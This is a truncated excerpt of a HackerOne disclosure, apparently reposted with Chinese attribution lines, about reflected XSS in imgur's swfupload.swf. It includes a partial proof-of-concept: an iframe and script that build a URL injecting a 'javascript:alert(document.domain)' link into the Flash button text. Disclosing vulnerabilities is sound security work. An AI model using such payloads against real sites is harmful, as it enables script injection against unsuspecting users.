Reflected Flash XSS using swfupload.swf with an epileptic reloading to bypass the button-event
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So I noticed you're using swfupload.swf which is hosted on the main domain, imgur.com. This swfupload.swf as some settings you can use to modify the button on the upload. You can actually insert HTML into the Flash, but the button event (that you select yourself using another parameter) is taking …
原文中的代码
<iframe src="about:blank" id="x"></iframe> <script>u='https://imgur.com/include/flash/swfupload.swf?buttonDisabled=&buttonText=%3Ca%20%20href=%22javascript:alert(document.domain)%22%3ECLICKME<br />CLICKME<br />CLICKME<br />CLICKME<br />CLICKME<br />CLICKME<br />CLICKME<br …
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阅读 HackerOne 原文 ↗作者 @fransrosen · 版权归作者与 Imgur 所有